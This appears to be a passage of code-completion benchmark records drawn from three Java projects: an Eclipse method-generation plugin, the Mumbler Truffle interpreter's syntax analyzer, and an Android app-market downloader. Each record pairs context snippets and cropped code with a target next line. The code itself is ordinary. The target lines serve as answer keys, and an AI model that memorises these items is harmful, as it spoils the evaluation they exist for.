*/\r\n public static final String COMPARE_TO_METHOD_NAME = \"compareTo\";\r\n\r\n private final JavaInterfaceCodeAppender javaInterfaceCodeAppender;\r\n\r\n public CompareToMethodSkeleton(PreferencesManager preferencesManager,\r\n JavaInterfaceCodeAppender javaInterfaceCodeAppender) {\r\n super(preferencesManager);\r\n this.javaInterfaceCodeAppender = javaInterfaceCodeAppender;\r\n }\r\n\r\n @Override\r\n public String getMethod(IType objectClass, CompareToGenerationData data, String methodContent) throws Exception {\r\n boolean implementedOrExtendedInSuperType = isComparableImplementedOrExtendedInSupertype(objectClass);\r\n boolean generify = MethodGenerations.generifyCompareTo(objectClass, implementedOrExtendedInSuperType,\r\n preferencesManager);\r\n boolean addOverride = addOverride(objectClass);\r\n if (!implementedOrExtendedInSuperType) {\r\n String interfaceName = \"Comparable\";\r\n if (generify) {\r\n interfaceName = \"Comparable<\" + objectClass.getElementName() + \">\";\r\n }\r\n javaInterfaceCodeAppender.addSuperInterface(objectClass, interfaceName);\r\n }\r\n return createCompareToMethod(objectClass, data, generify, addOverride, methodContent);\r\n }\r\n\r\n @Override\r\n public MethodsGenerationCommandIdentifier getCommandIdentifier() {\r\n return MethodsGenerationCommandIdentifier.COMPARE_TO;\r\n }\r\n\r\n @Override\r\n public String getMethodName() {\r\n return COMPARE_TO_METHOD_NAME;\r\n }\r\n\r\n @Override\r\n public String[] getMethodArguments(IType objectClass) throws Exception {\r\n if (MethodGenerations.generifyCompareTo(objectClass, isComparableImplementedOrExtendedInSupertype(objectClass),\r\n preferencesManager)) {\r\n String elementName = objectClass.getElementName();\r\n return new String[] { createArgument(elementName) };\r\n }\r\n return new String[] { createArgument(\"Object\") };\r\n }\r\n\r\n /**\r\n * package private for testing\r\n */\r\n String createArgument(String elementName) {\r\n return \"Q\" + elementName + \";\";\r\n }\r\n\r\n private boolean isComparableImplementedOrExtendedInSupertype(IType objectClass) throws Exception {\r\n return javaInterfaceCodeAppender.isImplementedOrExtendedInSupertype(objectClass, \"Comparable\");\r\n }\r\n\r\n private String createCompareToMethod(IType objectClass, CompareToGenerationData data, boolean generify,\r\n boolean addOverride, String methodContent) {\r\n\r\n StringBuffer content = new StringBuffer();\r\n if (data.generateComment()) {\r\n content.append(\"/**\\n\");\r\n content.append(\" * {@inheritDoc}\\n\");\r\n content.append(\" */\\n\");\r\n }\r\n\r\n if (addOverride) {\r\n content.append(\"@Override\\n\");\r\n }\r\n\r\n String className = objectClass.getElementName();\r\n if (generify) {\r\n content.append(\"public int compareTo(final \" + className + \" other) {\\n\");\r\n } else {\r\n content.append(\"public int compareTo(final Object other) {\\n\");\r\n }\r\n content.append(methodContent);\r\n content.append(\"}\\n\\n\");\r\n\r\n return content.toString();\r\n }\r\n}\r", "public class EqualsMethodSkeleton extends AbstractMethodSkeleton<EqualsHashCodeGenerationData> {\r\n\r\n /**\r\n * Public for testing purpose\r\n */\r\n public static final String EQUALS_METHOD_NAME = \"equals\";\r\n\r\n public EqualsMethodSkeleton(PreferencesManager preferencesManager) {\r\n super(preferencesManager);\r\n }\r\n\r\n @Override\r\n public String getMethod(IType objectClass, EqualsHashCodeGenerationData data, String methodContent)\r\n throws JavaModelException {\r\n boolean addOverride = addOverride(objectClass);\r\n return createEqualsMethod(data, addOverride, methodContent);\r\n }\r\n\r\n @Override\r\n public MethodsGenerationCommandIdentifier getCommandIdentifier() {\r\n return MethodsGenerationCommandIdentifier.EQUALS_HASH_CODE;\r\n }\r\n\r\n @Override\r\n public String getMethodName() {\r\n return EQUALS_METHOD_NAME;\r\n }\r\n\r\n @Override\r\n public String[] getMethodArguments(IType objectClass) throws Exception {\r\n return new String[] { \"QObject;\" };\r\n }\r\n\r\n private String createEqualsMethod(EqualsHashCodeGenerationData data, boolean addOverride, String methodContent) {\r\n\r\n StringBuffer content = new StringBuffer();\r\n if (data.generateComment()) {\r\n content.append(\"/**\\n\");\r\n content.append(\" * {@inheritDoc}\\n\");\r\n content.append(\" */\\n\");\r\n }\r\n if (addOverride) {\r\n content.append(\"@Override\\n\");\r\n }\r\n content.append(\"public boolean equals(final Object other) {\\n\");\r\n content.append(methodContent);\r\n content.append(\"}\\n\\n\");\r\n\r\n return content.toString();\r\n }\r\n}\r", "public interface JavaInterfaceCodeAppender {\r\n\r\n boolean isImplementedOrExtendedInSupertype(final IType objectClass, final String interfaceName) throws Exception;\r\n\r\n boolean isImplementedInSupertype(final IType objectClass, final String interfaceName) throws JavaModelException;\r\n\r\n void addSuperInterface(final IType objectClass, final String interfaceName)\r\n throws JavaModelException, InvalidInputException, MalformedTreeException;\r\n\r\n}\r" ]
import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; import java.util.Iterator; import java.util.LinkedHashSet; import org.eclipse.jdt.core.IType; import org.jenerate.internal.domain.data.CompareToGenerationData; import org.jenerate.internal.domain.data.EqualsHashCodeGenerationData; import org.jenerate.internal.domain.identifier.StrategyIdentifier; import org.jenerate.internal.domain.identifier.impl.MethodContentStrategyIdentifier; import org.jenerate.internal.domain.identifier.impl.MethodsGenerationCommandIdentifier; import org.jenerate.internal.manage.PreferencesManager; import org.jenerate.internal.strategy.method.Method; import org.jenerate.internal.strategy.method.content.MethodContent; import org.jenerate.internal.strategy.method.skeleton.MethodSkeleton; import org.jenerate.internal.strategy.method.skeleton.impl.AbstractMethodSkeleton; import org.jenerate.internal.strategy.method.skeleton.impl.CompareToMethodSkeleton; import org.jenerate.internal.strategy.method.skeleton.impl.EqualsMethodSkeleton; import org.jenerate.internal.strategy.method.skeleton.impl.HashCodeMethodSkeleton; import org.jenerate.internal.util.JavaInterfaceCodeAppender; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; import org.mockito.Mock; import org.mockito.junit.MockitoJUnitRunner;
package org.jenerate.internal.manage.impl; /** * Unit test for {@link MethodContentManagerImpl} * * @author maudrain */ @RunWith(MockitoJUnitRunner.Silent.class) public class MethodContentManagerImplTest { @Mock private PreferencesManager preferencesManager; @Mock private JavaInterfaceCodeAppender javaInterfaceCodeAppender; @Mock private StrategyIdentifier strategyIdentifier; @Mock private AbstractMethodSkeleton<CompareToGenerationData> abstractMethodSkeleton; @Mock private MethodSkeleton<CompareToGenerationData> methodSkeleton1; @Mock private MethodSkeleton<CompareToGenerationData> methodSkeleton2; private LinkedHashSet<MethodSkeleton<CompareToGenerationData>> methodSkeletons; private MethodContentManagerImpl methodContentManager; @Before public void setUp() { methodSkeletons = new LinkedHashSet<MethodSkeleton<CompareToGenerationData>>(); methodContentManager = new MethodContentManagerImpl(preferencesManager, javaInterfaceCodeAppender); } @Test public void testGetPossibleStrategiesWithUnknownSkeleton() { methodSkeletons.add(methodSkeleton1); LinkedHashSet<StrategyIdentifier> possibleStrategies = methodContentManager .getStrategiesIntersection(methodSkeletons); assertTrue(possibleStrategies.isEmpty()); } @Test public void testGetPossibleStrategiesWithSkeletonSubclass() { methodSkeletons.add(new TestMethodSkeleton(preferencesManager, javaInterfaceCodeAppender)); LinkedHashSet<StrategyIdentifier> possibleStrategies = methodContentManager .getStrategiesIntersection(methodSkeletons); assertTrue(possibleStrategies.isEmpty()); } @Test public void testGetPossibleStrategiesWithSkeletonAbstractClass() { methodSkeletons.add(new TestAbstractMethodSkeleton(preferencesManager)); LinkedHashSet<StrategyIdentifier> possibleStrategies = methodContentManager .getStrategiesIntersection(methodSkeletons); assertTrue(possibleStrategies.isEmpty()); } @Test public void testGetPossibleStrategiesWithOneSkeleton() { methodSkeletons.add(new CompareToMethodSkeleton(preferencesManager, javaInterfaceCodeAppender)); LinkedHashSet<StrategyIdentifier> possibleStrategies = methodContentManager .getStrategiesIntersection(methodSkeletons); assertEquals(3, possibleStrategies.size()); } @Test public void testGetPossibleStrategiesWithTwoSkeletons() {
LinkedHashSet<MethodSkeleton<EqualsHashCodeGenerationData>> skeletons = new LinkedHashSet<>();
0
cesquivias/mumbler
lang/src/main/java/mumbler/truffle/parser/Analyzer.java
[ "public static void throwReaderException(String message, Syntax<?> syntax,\n Namespace ns) {\n throw new MumblerReadException(message) {\n private static final long serialVersionUID = 1L;\n\n @Override\n public SourceSection getSourceSection() {\n return syntax.getSourceSection();\n }\n\n @Override\n public String getMethodName() {\n return ns.getFunctionName();\n }\n };\n}", "public class ListSyntax extends Syntax<MumblerList<? extends Syntax<?>>> {\n public ListSyntax(MumblerList<? extends Syntax<?>> value,\n SourceSection sourceSection) {\n super(value, sourceSection);\n }\n\n @Override\n public Object strip() {\n List<Object> list = new ArrayList<Object>();\n for (Syntax<? extends Object> syntax : getValue()) {\n list.add(syntax.strip());\n }\n return MumblerList.list(list);\n }\n\n @Override\n public String getName() {\n if (super.getName() != null) {\n return super.getName();\n }\n if (this.getValue().size() == 0) {\n return \"()\";\n }\n return this.getValue().car().getValue().toString() + \"-\" + this.hashCode();\n }\n}", "public class SymbolSyntax extends Syntax<MumblerSymbol> {\n\tpublic SymbolSyntax(MumblerSymbol value, SourceSection source) {\n\t\tsuper(value, source);\n\t}\n}", "public class MumblerList<T extends Object> implements Iterable<T> {\n public static final MumblerList<?> EMPTY = new MumblerList<>();\n\n private final T car;\n private final MumblerList<T> cdr;\n private final int length;\n\n private MumblerList() {\n this.car = null;\n this.cdr = null;\n this.length = 0;\n }\n\n private MumblerList(T car, MumblerList<T> cdr) {\n this.car = car;\n this.cdr = cdr;\n this.length = cdr.length + 1;\n }\n\n @SafeVarargs\n public static <T> MumblerList<T> list(T... objs) {\n return list(asList(objs));\n }\n\n public static <T> MumblerList<T> list(List<T> objs) {\n @SuppressWarnings(\"unchecked\")\n MumblerList<T> l = (MumblerList<T>) EMPTY;\n for (int i=objs.size()-1; i>=0; i--) {\n l = l.cons(objs.get(i));\n }\n return l;\n }\n\n public MumblerList<T> cons(T node) {\n return new MumblerList<T>(node, this);\n }\n\n public T car() {\n if (this != EMPTY) {\n return this.car;\n }\n throw new MumblerException(\"Cannot car the empty list\");\n }\n\n public MumblerList<T> cdr() {\n if (this != EMPTY) {\n return this.cdr;\n }\n throw new MumblerException(\"Cannot cdr the empty list\");\n }\n\n public long size() {\n return this.length;\n }\n\n @Override\n public Iterator<T> iterator() {\n return new Iterator<T>() {\n private MumblerList<T> l = MumblerList.this;\n\n @Override\n public boolean hasNext() {\n return this.l != EMPTY;\n }\n\n @Override\n public T next() {\n if (this.l == EMPTY) {\n throw new MumblerException(\"At end of list\");\n }\n T car = this.l.car;\n this.l = this.l.cdr;\n return car;\n }\n\n @Override\n public void remove() {\n throw new MumblerException(\"Iterator is immutable\");\n }\n };\n }\n\n @Override\n public boolean equals(Object other) {\n if (!(other instanceof MumblerList)) {\n return false;\n }\n if (this == EMPTY && other == EMPTY) {\n return true;\n }\n\n MumblerList<?> that = (MumblerList<?>) other;\n if (this.cdr == EMPTY && that.cdr != EMPTY) {\n return false;\n }\n return this.car.equals(that.car) && this.cdr.equals(that.cdr);\n }\n\n @Override\n public String toString() {\n if (this == EMPTY) {\n return \"()\";\n }\n\n StringBuilder b = new StringBuilder(\"(\" + this.car);\n MumblerList<T> rest = this.cdr;\n while (rest != null && rest != EMPTY) {\n b.append(\" \");\n b.append(rest.car);\n rest = rest.cdr;\n }\n b.append(\")\");\n return b.toString();\n }\n}", "public class MumblerSymbol {\n public final String name;\n\n public MumblerSymbol(String name) {\n this.name = name;\n }\n\n @Override\n public String toString() {\n return this.name;\n }\n}" ]
import static mumbler.truffle.parser.MumblerReadException.throwReaderException; import java.util.HashMap; import java.util.Map; import mumbler.truffle.syntax.ListSyntax; import mumbler.truffle.syntax.SymbolSyntax; import mumbler.truffle.type.MumblerList; import mumbler.truffle.type.MumblerSymbol; import com.oracle.truffle.api.frame.FrameDescriptor;
package mumbler.truffle.parser; /** * This class walks through the syntax objects to define all the namespaces * and the identifiers within. Special forms are also verified to be structured * correctly. * <p> * After the scan, a lambda's namespace can be fetched to find symbols' * appropriate {@link FrameDescriptor}. * <p> * The following special form properties are checked * <ol> * <li> <code>define</code> calls only contain 2 arguments. * <li> The first argument to <code>define</code> is a symbol. * <li> <code>lambda</code> calls have at least 3 arguments. * <li> The first argument to <code>lambda</code> must be a list of symbols. * <li> <code>if</calls> have exactly 3 arguments. * <li> <code>quote</code> quote calls have exactly 1 argument. * </ol> */ public class Analyzer extends SexpListener { private final Map<ListSyntax, Namespace> namespaces; private Namespace currentNamespace; public Analyzer(Namespace topNamespace) { this.namespaces = new HashMap<>(); this.namespaces.put(null, topNamespace); this.currentNamespace = topNamespace; } public Map<ListSyntax, Namespace> getNamespaceMap() { return this.namespaces; } public Namespace getNamespace(ListSyntax syntax) { return this.namespaces.get(syntax); } @Override public void onDefine(ListSyntax syntax) { MumblerList<? extends Syntax<?>> list = syntax.getValue(); if (list.size() != 3) { throwReaderException("define takes 2 arguments", syntax, this.currentNamespace); }
if (!(list.cdr().car() instanceof SymbolSyntax)) {
2
samuelhehe/AppMarket
src/com/samuel/downloader/app/AtyDownloadMgr.java
[ "public class CompareableLocalAppInfo {\r\n\r\n\t/**\r\n\t * \r\n\t * \r\n\t AppId String 應用ID appIcon String 应用图标 AppName String 應用名稱 VersionName\r\n\t * String App版本名稱 AppVersion Int App版本編號 SysVersion String Android最低版本要求\r\n\t * VersionDesc String 版本描述 ModifyTime String 更新時間 FileEntity String AppUrl\r\n\t * \r\n\t * packagename String App的包名 是 versioncode int App的版本编号 是\r\n\t * \r\n\t * \r\n\t * \r\n\t */\r\n\r\n\tpublic static class TAG {\r\n\r\n\t\t/*\r\n\t\t * 下载. 下载中.已安装.升级.\r\n\t\t */\r\n\t\t/**\r\n\t\t * download , start download\r\n\t\t */\r\n\t\tpublic static final int flag_download = 0;\r\n\r\n\t\t/**\r\n\t\t * downloading\r\n\t\t */\r\n\t\tpublic static final int flag_downloading = 1;\r\n\r\n\t\t/**\r\n\t\t * installed\r\n\t\t */\r\n\t\tpublic static final int flag_installed = 2;\r\n\t\t/**\r\n\t\t * update\r\n\t\t */\r\n\t\tpublic static final int flag_update = 3;\r\n\r\n\t\t/**\r\n\t\t * isDownload\r\n\t\t */\r\n\t\tpublic static final int flag_isDownload = 4;\r\n\t\t\r\n\t\t/**\r\n\t\t * remove\r\n\t\t */\r\n\t\tpublic static final int flag_remove = 5;\r\n\t\t\r\n\t}\r\n\r\n\tprivate String appName;\r\n\r\n\tprivate int appLocalStatus;\r\n\r\n\t@Override\r\n\tpublic String toString() {\r\n\t\treturn \"CompareableLocalAppInfo [appName=\" + appName\r\n\t\t\t\t+ \", appLocalStatus=\" + getAppLocalStatus() + \", versionName=\"\r\n\t\t\t\t+ versionName + \", isUserApp=\" + isUserApp + \", packageName=\"\r\n\t\t\t\t+ packageName + \", versionCode=\" + versionCode + \"]\";\r\n\t}\r\n\r\n\tpublic CompareableLocalAppInfo(String appName, int appLocalStatus,\r\n\t\t\tString versionName, Boolean isUserApp, String packageName,\r\n\t\t\tint versionCode) {\r\n\t\tsuper();\r\n\t\tthis.appName = appName;\r\n\t\tthis.appLocalStatus = appLocalStatus;\r\n\t\tthis.versionName = versionName;\r\n\t\tthis.isUserApp = isUserApp;\r\n\t\tthis.packageName = packageName;\r\n\t\tthis.versionCode = versionCode;\r\n\t}\r\n\r\n\tprivate String versionName;\r\n\tprivate Boolean isUserApp;\r\n\tprivate String packageName;\r\n\r\n\tprivate int versionCode;\r\n\r\n\tpublic CompareableLocalAppInfo() {\r\n\t}\r\n\r\n\tpublic String getPackageName() {\r\n\t\treturn packageName;\r\n\t}\r\n\r\n\tpublic void setPackageName(String packageName) {\r\n\t\tthis.packageName = packageName;\r\n\t}\r\n\r\n\tpublic String getAppName() {\r\n\t\treturn appName;\r\n\t}\r\n\r\n\tpublic Boolean getIsUserApp() {\r\n\t\treturn isUserApp;\r\n\t}\r\n\r\n\tpublic void setIsUserApp(Boolean isUserApp) {\r\n\t\tthis.isUserApp = isUserApp;\r\n\t}\r\n\r\n\tpublic void setAppName(String appName) {\r\n\t\tthis.appName = appName;\r\n\t}\r\n\r\n\tpublic String getVersionName() {\r\n\t\treturn versionName;\r\n\t}\r\n\r\n\tpublic void setVersionName(String versionName) {\r\n\t\tthis.versionName = versionName;\r\n\t}\r\n\r\n\tpublic int getVersionCode() {\r\n\t\treturn versionCode;\r\n\t}\r\n\r\n\tpublic void setVersionCode(int versionCode) {\r\n\t\tthis.versionCode = versionCode;\r\n\t}\r\n\r\n\tpublic int getAppLocalStatus() {\r\n\t\treturn appLocalStatus;\r\n\t}\r\n\r\n\tpublic void setAppLocalStatus(int appLocalStatus) {\r\n\t\tthis.appLocalStatus = appLocalStatus;\r\n\t}\r\n\r\n}\r", "public class DownloadFile implements Serializable {\r\n\r\n\tprivate static final long serialVersionUID = 1L;\r\n\tprivate boolean isStop;\r\n\tprivate HttpHandler<File> mHttpHandler;\r\n\r\n\tpublic DownloadFile startDownloadFileByUrl(String url, String toPath,\r\n\t\t\tAjaxCallBack<File> downCallBack) {\r\n\r\n\t\tif (downCallBack == null) {\r\n\t\t\tthrow new RuntimeException(\"AjaxCallBack对象不能为null\");\r\n\t\t} else {\r\n\t\t\tFinalHttp finalHttp = new FinalHttp();\r\n\t\t\t// 支持断点续传\r\n\t\t\tsetmHttpHandler(finalHttp.download(url, toPath, true, downCallBack));\r\n\t\t\t// mHttpHandler.\r\n\t\t}\r\n\t\treturn this;\r\n\t}\r\n\r\n\tpublic DownloadFile startDownloadFileByUrlNoCatch(String url,\r\n\t\t\tString toPath, AjaxCallBack<File> downCallBack) {\r\n\r\n\t\tif (downCallBack == null) {\r\n\t\t\tthrow new RuntimeException(\"AjaxCallBack对象不能为null\");\r\n\t\t} else {\r\n\t\t\tFinalHttp down = new FinalHttp();\r\n\t\t\t// 支持断点续传\r\n\t\t\tsetmHttpHandler(down.download(url, toPath, true, downCallBack));\r\n\t\t\t// mHttpHandler.\r\n\t\t}\r\n\t\treturn this;\r\n\t}\r\n\r\n\tpublic void stopDownload() {\r\n\t\tif (getmHttpHandler() != null) {\r\n\t\t\tgetmHttpHandler().stop();\r\n\t\t\tgetmHttpHandler().cancel(true);\r\n\t\t\tif (!getmHttpHandler().isStop()) {\r\n\t\t\t\tgetmHttpHandler().stop();\r\n\t\t\t\tgetmHttpHandler().cancel(true);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tpublic boolean isStop() {\r\n\t\tisStop = getmHttpHandler().isStop();\r\n\t\treturn isStop;\r\n\t}\r\n\r\n\tpublic void setStop(boolean isStop) {\r\n\t\tthis.isStop = isStop;\r\n\t}\r\n\r\n\tpublic HttpHandler<File> getmHttpHandler() {\r\n\t\treturn mHttpHandler;\r\n\t}\r\n\r\n\tpublic void setmHttpHandler(HttpHandler<File> mHttpHandler) {\r\n\t\tthis.mHttpHandler = mHttpHandler;\r\n\t}\r\n}\r", "public class DownloadTask implements ContentValue {\r\n\r\n\tprivate Context mContext;\r\n\tprivate View view; // 条目的View\r\n\tprivate DownloadFileItem downLoadItem; // 下载任务\r\n\tprivate boolean comeDb;\r\n\tprivate FinalDBChen db;\r\n\r\n\t/**\r\n\t * Title: Description:\r\n\t */\r\n\tpublic DownloadTask(Context mContext, View view,\r\n\t\t\tDownloadFileItem downLoadMovieItem, boolean comeDb) {\r\n\t\tthis.mContext = mContext;\r\n\t\tthis.view = view;\r\n\t\tthis.downLoadItem = downLoadMovieItem;\r\n\t\tthis.comeDb = comeDb;\r\n\t\tImageView del = (ImageView) view.findViewById(R.id.delete_movie);\r\n\t\tdel.setOnClickListener(new DeleteClick());\r\n\r\n\t\tdb = new FinalDBChen(mContext, mContext.getDatabasePath(DBNAME)\r\n\t\t\t\t.getAbsolutePath());\r\n\t\tgotoDownload(downLoadMovieItem, view);\r\n\t}\r\n\r\n\t/**\r\n\t * @param downloadFileItem\r\n\t * @param view\r\n\t */\r\n\tpublic void gotoDownload(DownloadFileItem downloadFileItem, View view) {\r\n\r\n\t\tString url = downloadFileItem.getFileUrl();\r\n\t\tString path = downloadFileItem.getFilePath();\r\n\r\n\t\tSystem.out.println(\"downloadTask url ------->>>\" + url);\r\n\t\tSystem.out.println(\"downloadTask path ------->>>\" + path);\r\n\r\n\t\tif (comeDb) {\r\n\t\t\t// 如果数据来自数据库,将按钮背景设置为开始\r\n\t\t\t// 添加单机事件\r\n\t\t\tButton bt = (Button) view.findViewById(R.id.stop_download_bt);\r\n\t\t\tbt.setBackgroundResource(R.drawable.button_start);\r\n\t\t\tbt.setOnClickListener(new MyOnClick(DOWNLOAD_DB, downloadFileItem,\r\n\t\t\t\t\tbt));\r\n\r\n\t\t\tdownloadFileItem.setDownloadFile(new DownloadFile()\r\n\t\t\t\t\t.startDownloadFileByUrl(url, path, new CallBackFuc(view,\r\n\t\t\t\t\t\t\tdownloadFileItem)));\r\n\r\n\t\t} else {\r\n\t\t\t// 直接下载\r\n\t\t\tdownloadFileItem.setDownloadFile(new DownloadFile()\r\n\t\t\t\t\t.startDownloadFileByUrl(url, path, new CallBackFuc(view,\r\n\t\t\t\t\t\t\tdownloadFileItem)));\r\n\t\t}\r\n\t}\r\n\r\n\tpublic OnDeleteTaskListener getOnDeleteTaskListener() {\r\n\t\treturn onDeleteTaskListener;\r\n\t}\r\n\r\n\tpublic void setOnDeleteTaskListener(\r\n\t\t\tOnDeleteTaskListener onDeleteTaskListener) {\r\n\t\tthis.onDeleteTaskListener = onDeleteTaskListener;\r\n\t}\r\n\r\n\tpublic class MyOnClick implements OnClickListener {\r\n\t\tprivate int state;\r\n\t\tprivate DownloadFileItem downItem;\r\n\t\tprivate boolean clickState = false;\r\n\t\tprivate Button button;\r\n\t\tprivate TextView current_progress;\r\n\r\n\t\t/**\r\n\t\t * Title: Description:\r\n\t\t */\r\n\t\tpublic MyOnClick(int state, DownloadFileItem downItem, Button button) {\r\n\t\t\tthis.state = state;\r\n\t\t\tthis.downItem = downItem;\r\n\t\t\tthis.button = button;\r\n\t\t}\r\n\r\n\t\t@Override\r\n\t\tpublic void onClick(View v) {\r\n\t\t\tString name = downItem.getFileName();\r\n\r\n\t\t\tswitch (state) {\r\n\t\t\tcase DOWNLOAD_STATE_SUCCESS:\r\n\t\t\t\t// 下载完成\r\n\t\t\t\tToast.makeText(mContext, name + \":开始安装!\", Toast.LENGTH_SHORT)\r\n\t\t\t\t\t\t.show();\r\n\r\n\t\t\t\tString filePath = downLoadItem.getFilePath();\r\n\t\t\t\tif (filePath != null) {\r\n\t\t\t\t\tAppMarketUtils.install(mContext, filePath);\r\n\t\t\t\t}\r\n\r\n\t\t\t\tbreak;\r\n\t\t\tcase DOWNLOAD_STATE_FAIL:\r\n\t\t\t\t// 下载失败,与 开始可以执行同一个逻辑\r\n\t\t\t\tToast.makeText(mContext, name + \"将重新开始!\", Toast.LENGTH_SHORT)\r\n\t\t\t\t\t\t.show();\r\n\t\t\t\tbutton.setVisibility(View.INVISIBLE);\r\n\t\t\t\tcurrent_progress.setTextColor(Color.parseColor(\"#23b5bc\"));\r\n\t\t\t\tcurrent_progress.setText(\"等待中\");\r\n\t\t\t\tgotoDownload(downLoadItem, view);\r\n\t\t\t\tbreak;\r\n\t\t\tcase DOWNLOAD_STATE_START:\r\n\t\t\t\tif (clickState) {\r\n\t\t\t\t\t// 如果是第一次点击,默认状态下是 开始状态.点击之后暂停这个任务\r\n\t\t\t\t\tgotoDownload(downLoadItem, view);\r\n\t\t\t\t\tToast.makeText(mContext, name + \":开始下载\", Toast.LENGTH_SHORT)\r\n\t\t\t\t\t\t\t.show();\r\n\t\t\t\t\tif (button != null) {\r\n\t\t\t\t\t\t// button.setBackgroundResource(R.drawable.button_stop);\r\n\t\t\t\t\t\tbutton.setVisibility(View.INVISIBLE);\r\n\t\t\t\t\t\tcurrent_progress.setTextColor(Color\r\n\t\t\t\t\t\t\t\t.parseColor(\"#23b5bc\"));\r\n\t\t\t\t\t\tcurrent_progress.setText(\"等待中\");\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclickState = false;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tdownLoadItem.getDownloadFile().stopDownload();\r\n\t\t\t\t\tToast.makeText(mContext, name + \":暂停\", Toast.LENGTH_SHORT)\r\n\t\t\t\t\t\t\t.show();\r\n\t\t\t\t\tif (button != null) {\r\n\t\t\t\t\t\tbutton.setBackgroundResource(R.drawable.button_start);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclickState = true;\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase DOWNLOAD_DB:\r\n\t\t\t\t// 点击之后开启下载任务\r\n\t\t\t\tString url = downLoadItem.getFileUrl();\r\n\t\t\t\tString path = downLoadItem.getFilePath();\r\n\r\n\t\t\t\t// ///下载文件开始\r\n\t\t\t\tdownLoadItem.setDownloadFile(new DownloadFile()\r\n\t\t\t\t\t\t.startDownloadFileByUrl(url, path, new CallBackFuc(\r\n\t\t\t\t\t\t\t\tview, downLoadItem)));\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tpublic TextView getCurrent_progress() {\r\n\t\t\treturn current_progress;\r\n\t\t}\r\n\r\n\t\tpublic void setCurrent_progress(TextView current_progress) {\r\n\t\t\tthis.current_progress = current_progress;\r\n\t\t}\r\n\r\n\t}\r\n\r\n\tprivate OnDeleteTaskListener onDeleteTaskListener;\r\n\r\n\tpublic interface OnDeleteTaskListener {\r\n\t\t// 当点击删除时执行的回调\r\n\t\tpublic void onDelete(View taskView, DownloadFileItem down);\r\n\t}\r\n\r\n\t// 删除一个指定的View\r\n\tclass DeleteClick implements OnClickListener {\r\n\t\tpublic void onClick(View v) {\r\n\t\t\tif (onDeleteTaskListener != null) {\r\n\t\t\t\tonDeleteTaskListener.onDelete(view, downLoadItem);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t}\r\n\r\n\t/**\r\n\t * 回调函数更新UI\r\n\t */\r\n\tclass CallBackFuc extends AjaxCallBack<File> {\r\n\r\n\t\tprivate ProgressBar p;\r\n\t\tprivate TextView kb;\r\n\t\tprivate TextView totalSize;\r\n\t\tprivate int cu;\r\n\t\tprivate Button stop_download_bt;\r\n\t\tprivate TextView current_progress;\r\n\t\tprivate TextView movie_name_item;\r\n\t\tprivate View view;\r\n\t\tprivate DownloadFileItem downloadFileItem;\r\n\r\n\t\t/**\r\n\t\t * Title: Description:\r\n\t\t */\r\n\t\tpublic CallBackFuc(View view, DownloadFileItem down) {\r\n\t\t\tthis.downloadFileItem = down;\r\n\t\t\tthis.view = view;\r\n\r\n\t\t\tif (view != null) {\r\n\t\t\t\tp = (ProgressBar) view.findViewById(R.id.download_progressBar);\r\n\t\t\t\t// /进度条\r\n\t\t\t\tkb = (TextView) view.findViewById(R.id.movie_file_size);\r\n\t\t\t\t// 文件大小\r\n\t\t\t\ttotalSize = (TextView) view.findViewById(R.id.totalsize);\r\n\t\t\t\t// 总大小\r\n\t\t\t\tstop_download_bt = (Button) view\r\n\t\t\t\t\t\t.findViewById(R.id.stop_download_bt);\r\n\t\t\t\t// stopbtn\r\n\t\t\t\tstop_download_bt.setBackgroundResource(R.drawable.button_stop);\r\n\r\n\t\t\t\tcurrent_progress = (TextView) view\r\n\t\t\t\t\t\t.findViewById(R.id.current_progress);\r\n\t\t\t\t// 当前进度\r\n\t\t\t\tmovie_name_item = (TextView) view\r\n\t\t\t\t\t\t.findViewById(R.id.movie_name_item);\r\n\t\t\t\t// movie name\r\n\r\n\t\t\t\tstop_download_bt.setVisibility(View.INVISIBLE);\r\n\t\t\t\tstop_download_bt.setBackgroundResource(R.drawable.button_stop);\r\n\r\n\t\t\t\tmovie_name_item.setText(down.getFileName());\r\n\t\t\t\tcurrent_progress.setTextColor(Color.parseColor(\"#23b5bc\"));\r\n\t\t\t\tcurrent_progress.setText(\"等待中\");\r\n\r\n\t\t\t\tMyOnClick mc = new MyOnClick(DOWNLOAD_STATE_START, down,\r\n\t\t\t\t\t\tstop_download_bt);\r\n\t\t\t\tmc.setCurrent_progress(current_progress);\r\n\r\n\t\t\t\tstop_download_bt.setOnClickListener(mc);\r\n\t\t\t} else {\r\n\t\t\t\tSystem.out.println(\"View为空\");\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t/**\r\n\t\t * (非 Javadoc) Title: onStart Description:\r\n\t\t * \r\n\t\t * @see net.tsz.afinal.http.AjaxCallBack#onStart()\r\n\t\t */\r\n\t\t@Override\r\n\t\tpublic void onStart() {\r\n\t\t\tSystem.out.println(downloadFileItem.getFileName() + \":开始下载\");\r\n\t\t\t// 将数据库中的下载状态改为下载中\r\n\r\n\t\t\tdownloadFileItem.setDownloadState(DOWNLOAD_STATE_START);\r\n\t\t\tdb.updateValuesByJavaBean(TABNAME_DOWNLOADTASK, \"fileName=?\",\r\n\t\t\t\t\tnew String[] { downloadFileItem.getFileName() },\r\n\t\t\t\t\tdownloadFileItem);\r\n\r\n\t\t\t// 发送开始下载的广播\r\n\t\t\tIntent i = new Intent();\r\n\t\t\ti.putExtra(DOWNLOAD_TYPE, DOWNLOAD_STATE_START);\r\n\t\t\ti.putExtra(DOWNLOAD_ITEM_NAME, downloadFileItem.getFileName());\r\n\t\t\ti.setAction(DOWNLOAD_TYPE);\r\n\r\n\t\t\t//\r\n\t\t\t// MyApplcation app = (MyApplcation)\r\n\t\t\t// mContext.getApplicationContext();\r\n\t\t\t// app.setDownloadSuccess(down);\r\n\r\n\t\t\tSYSCS.setSuccessDownloadFileItem(downloadFileItem);\r\n\t\t\tmContext.sendBroadcast(i);\r\n\t\t\tsuper.onStart();\r\n\t\t}\r\n\r\n\t\t@Override\r\n\t\tpublic void onLoading(long count, long current) {\r\n\r\n\t\t\tint cus = 0;\r\n\t\t\tif (current > cu) 